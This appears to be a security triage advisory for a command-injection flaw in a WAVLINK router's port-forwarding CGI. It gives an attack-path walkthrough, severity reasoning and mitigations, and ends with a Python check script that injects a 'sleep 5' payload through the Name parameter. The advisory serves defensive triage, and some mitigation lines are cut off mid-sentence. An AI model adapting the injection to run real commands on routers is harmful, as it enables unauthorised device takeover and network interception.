A router's port-forwarding form is a root shell with a login screen
The vulnerable function port_forward in /cgi-bin/wapi.cgi on WAVLINK WL-WN530HG4B firmware M_V260724 passes the Name argument to a shell command without sanitizing shell metacharacters. An authenticated remote user can inject OS commands with the router's privileges, leading to complete device takeover. The issue is CWE-77 (command injection) and has a public exploit.
The vendor's CRITICAL 9.9 CVSS score is technically plausible from the impact side, but it assumes an authenticated attacker can reach the management interface. In real enterprise deployments this WAVLINK device is usually a small-office/home router, not a data-center edge appliance, so the practical severity is one notch lower.
5 steps from start to impact.
Reach the WAVLINK web management interface
/cgi-bin/wapi.cgi over the network, either from the internet if remote management is enabled or from the local LAN. Shodan/Censys can fingerprint WAVLINK web interfaces using server headers or page content.- Remote management must be enabled for WAN access, or the attacker already has LAN access
- Device firmware is M_V260724 or another affected build
- WAVLINK ships with WAN-side administration disabled by default
- SOHO devices are often behind a NAT with no port forwarding to the admin panel
Authenticate to the management console
admin/admin, or the password may be cracked from a weak dictionary.- Attacker holds valid credentials, either default, guessed, or captured
- No login rate limiting or lockout is enforced
- Changed default passwords block many opportunistic attacks
- Some firmware builds throttle repeated login attempts
Inject a command through the port_forward Name parameter
/cgi-bin/wapi.cgi invoking the port_forward function with a malicious Name value containing shell metacharacters such as ;, |, or &&. The unsanitized value is passed to a system command, executing the attacker's payload on the router.- The target parameter
Nameis not sanitized or filtered - The request must include a valid session token or cookie
- A WAF in front of the admin panel could flag the injection pattern, but most SOHO deployments have no WAF
Gain root shell on the router
- Command execution must succeed; the payload must be compatible with the router's busybox environment
- Limited writable storage and firmware restrictions can complicate persistence, but one-shot commands are still effective for compromise
Pivot into the LAN or manipulate traffic
- The WAVLINK device must be acting as the network's default gateway or DNS server for maximum impact
- If the router is only an access point or isolated lab device, impact is limited
/cgi-bin/wapi.cgi from the internet, the attack path requires LAN access. Deploy within 30 days per noisgate mitigation SLA.Name parameter. Deploy within 30 days if remote management must remain enabled.port_forward Name parameter or removes the command execution sink. Schedule within 180 days per noisgate remediation SLA once a fixed firmware is available.- Installing AV/EDR on Windows or Linux hosts does not detect the command injection because the vulnerable code runs on the router's firmware.
- Changing the Wi-Fi SSID or Wi-Fi password does not restrict access to the router's web management interface.
- Relying on HTTPS alone does not prevent command injection; it only encrypts the malicious request in transit.
The supporting signals.
| In-the-wild status | Not listed in CISA KEV as of 2026-11-01; no named mass exploitation campaign confirmed. |
|---|---|
| Proof-of-concept availability | Public exploit exists per the official CVE record; likely mirrored on VulDB and GitHub. |
| EPSS | EPSS score not published for this CVE yet; public PoC raises the probability of opportunistic scanning. |
| KEV status | Not listed in CISA Known Exploited Vulnerabilities catalog. |
| CVSS vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — 9.9 Critical; changed scope reflects router-to-LAN compromise. |
| Affected version | WL-WN530HG4B firmware M_V260724; earlier builds may be affected but not confirmed. |
| Fixed version | None identified at disclosure; vendor was contacted early but no patch announced in the record. |
| Exposure data | Shodan/Censys queries for WAVLINK banners can expose devices; enterprise prevalence is low because the device is SOHO class. |
| Disclosed | 2026-11-01 |
| Reporting researcher | Not named in the official CVE record. |
Sources.
Why this verdict
- Vendor baseline is 9.9 Critical, but that assumes an authenticated attacker can reach the management interface over the network.
- Role multiplier: If a WAVLINK WL-WN530HG4B is used as a small-business perimeter router, successful command injection yields root on the gateway and a pivot into the LAN — this floors the verdict at HIGH; however, WAVLINK is consumer/SOHO-class and enterprise installed base is likely <1%, so CRITICAL is not justified.
- Exposure friction: WAN-side administration is typically disabled by default, so the vulnerable endpoint is usually reachable only from the LAN or after explicit remote management enablement.
- Public exploit: A public PoC exists, so any reachable device with default or weak credentials is immediately exploitable without user interaction.
Why not higher?
Not CRITICAL because the vulnerability requires low-privilege authentication and the device is a SOHO router with a small enterprise footprint. Most WAVLINK units are not deployed as enterprise perimeter gateways, and remote management is not exposed by default.
Why not lower?
Not MEDIUM or lower because command execution on a network gateway is a high-impact outcome: root on the router, DNS/DHCP manipulation, traffic interception, and a pivot point into the LAN. The existence of a public exploit removes the need for research and lowers the barrier for attackers who can reach the device.
Crowdsourced verification payload.
Run from an auditor workstation that can reach the target router's management interface. Invoke: python3 check_CVE-2026-120197.py <router_ip_or_host> --user admin --password <password>. Requires network access to the admin panel and valid low-privilege credentials. If credentials are unknown, the script reports UNKNOWN unless the endpoint is reachable anonymously.
#!/usr/bin/env python3
'''CVE-2026-120197 check for WAVLINK WL-WN530HG4B M_V260724
Sends a harmless time-based command injection to /cgi-bin/wapi.cgi and
reports VULNERABLE if the injected sleep delays the response.
'''
import argparse
import sys
import time
import requests
from urllib.parse import urljoin
def log(message):
print(f'[!] {message}', file=sys.stderr)
def main():
parser = argparse.ArgumentParser(description='Check CVE-2026-120197')
parser.add_argument('target', help='Router URL, e.g. http://192.168.10.1')
parser.add_argument('--user', default='admin', help='Admin username (default: admin)')
parser.add_argument('--password', required=True, help='Admin password')
parser.add_argument('--timeout', type=int, default=10, help='Request timeout in seconds')
args = parser.parse_args()
base = args.target.rstrip('/')
session = requests.Session()
session.headers.update({'User-Agent': 'CVE-2026-120197-check/1.0'})
# Attempt common WAVLINK login endpoint. Adjust if your firmware uses a different path.
login_data = {'username': args.user, 'password': args.password}
try:
r = session.post(urljoin(base, '/cgi-bin/login.cgi'), data=login_data, timeout=args.timeout, verify=False)
if r.status_code >= 400 or 'error' in r.text.lower():
log('Login failed or endpoint not found; cannot confirm authenticated access.')
print('UNKNOWN')
return 1
except requests.RequestException as e:
log(f'Login request failed: {e}')
print('UNKNOWN')
return 1
# Time-based command injection through the Name parameter.
# The command 'sleep 5' is harmless but produces a 5-second delay if vulnerable.
malicious_name = 'test; sleep 5; #'
data = {
'action': 'port_forward',
'Name': malicious_name
}
url = urljoin(base, '/cgi-bin/wapi.cgi')
try:
start = time.time()
r = session.post(url, data=data, timeout=args.timeout, verify=False)
elapsed = time.time() - start
except requests.RequestException as e:
log(f'Injection request failed: {e}')
print('UNKNOWN')
return 1
if elapsed >= 4.0:
print('VULNERABLE')
return 0
elif r.status_code == 200:
print('PATCHED')
return 0
else:
print('UNKNOWN')
return 1
if __name__ == '__main__':
sys.exit(main())